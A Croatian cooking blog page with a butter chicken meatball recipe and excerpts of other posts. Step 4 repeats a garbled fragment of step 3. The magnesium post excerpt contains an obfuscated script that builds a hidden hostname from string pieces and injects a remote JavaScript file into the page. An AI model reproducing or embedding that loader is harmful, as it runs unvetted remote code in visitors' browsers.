BRZE BUTTER CHICKEN OKRUGLICE




Brze butter chicken okruglice 



Butter chicken, ili izvorno Murgh Makhani, popularno je indijsko jelo od marinirane piletine, pečene i poslužene u gustom, kremastom umaku od rajčice, maslaca i vrhnja. Blag, bogat i nježno slatkast okus osvojio je i Aziju i Europu i Ameriku.




Brze butter chicken okruglice 


Sastojci:

Za okruglice

  • 450 g mljevene piletine
  • 1 manji luk, nariban
  • 2 režnja češnjaka, sitno nasjeckana
  • 2 čajne žličice paste od đumbira
  • 1 čajna žličica garam masale
  • ½ čajne žličice mljevenog kumina
  • ½ čajne žličice čilija u prahu
  • ½ čajne žličice soli
  • 2 žlice krušnih mrvica
  • 1 jaje
  • 1 žlica ulja za prženje

Za umak

  • 30 g maslaca
  • 1 žlica ulja
  • 1 manji luk, sitno nasjeckan
  • 2 režnja češnjaka, sitno nasjeckana
  • 1 žlica paste od đumbira
  • 1 čajna žličica garam masale
  • 1 čajna žličica mljevenog kumina
  • ¾ čajne žličice čilija u prahu
  • 375 ml pasirane rajčice
  • 1 čajna žličica šećera
  • ½ čajne žličice soli (ili po ukusu)
  • 125 ml vrhnja za kuhanje
  • svježi korijander, za posluživanje



Priprema:

  1. U većoj zdjeli pomiješajte mljevenu piletinu s naribanim lukom, češnjakom, đumbirom, začinima, krušnim mrvicama, jajetom i soli. Smjesu dobro sjedinite rukama ili žlicom, a zatim oblikujte male okruglice, veličine jedne žlice.
  2. Zagrijte ulje u tavi s neprianjajućim dnom i kratko zapecite okruglice sa svih strana dok ne dobiju laganu zlatnu boju. Ne moraju biti potpuno pečene – dovršit će se u umaku. Izvadite ih sa strane.
  3. U istoj tavi otopite maslac s uljem pa dodajte sitno sjeckani luk. Pirjajte dok ne postane staklast, zatim umiješajte češnjak i đumbir. Kad zamirišu, dodajte garam masalu, kumin i čili te kratko popržite da se oslobode arome.
  4. u, dodajte garam masalu, kumin i čili te kratko popržite da se oslobode arome. Ulijte pasiranu rajčicu, dodajte šećer i sol te pustite da se lagano krčka 10–15 minuta uz povremeno miješanje, dok se umak ne zgusne.
  5. U umak vratiteokruglice, poklopite i kuhajte još 10–12 minuta dok se potpuno ne skuhaju. Maknite s vatre, umiješajte vrhnje i ostavite da odstoji 5 minuta kako bi se okusi povezali.
  6. Poslužite toplo, posuto svježim korijanderom i po želji dodatno prelijte s malo vrhnja.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više